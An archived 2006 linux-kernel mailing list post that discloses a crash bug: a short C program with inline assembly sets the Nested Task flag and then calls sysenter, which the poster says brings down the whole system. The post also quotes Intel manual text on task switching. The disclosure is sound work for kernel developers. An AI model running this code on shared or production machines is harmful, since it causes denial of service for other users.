linux-kernel - Sysenter crash with Nested Task Bit set

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite for Android: free password hash cracker in your pocket

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <5a20704e0609171608o7ee45fdbxb94aa897c1776153@mail.gmail.com>
Date:	Sun, 17 Sep 2006 19:08:24 -0400
From:	"In Cognito" <defend.the.world@...il.com>
To:	linux-kernel@...r.kernel.org
Subject: Sysenter crash with Nested Task Bit set

Here's a way to heat up your cpu and crash the rest of the system too:

main(){
asm("pushf\n"
        "popl %eax\n"
/* enable the NT bit */
        "orl $0x4000, %eax\n"
        "pushl %eax\n"
        "popf\n"

        "sysenter\n"
       );
return 0;
}

"If NT equals 1, IRET reverses the operation of a CALL or INT that
caused a task switch. The updated state of the task executing IRET is
saved in its task state segment. If the task is reentered later, the
code that follows IRET is executed."
- Intel 80386 Reference Programmer's Manual
-
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majordomo@...r.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/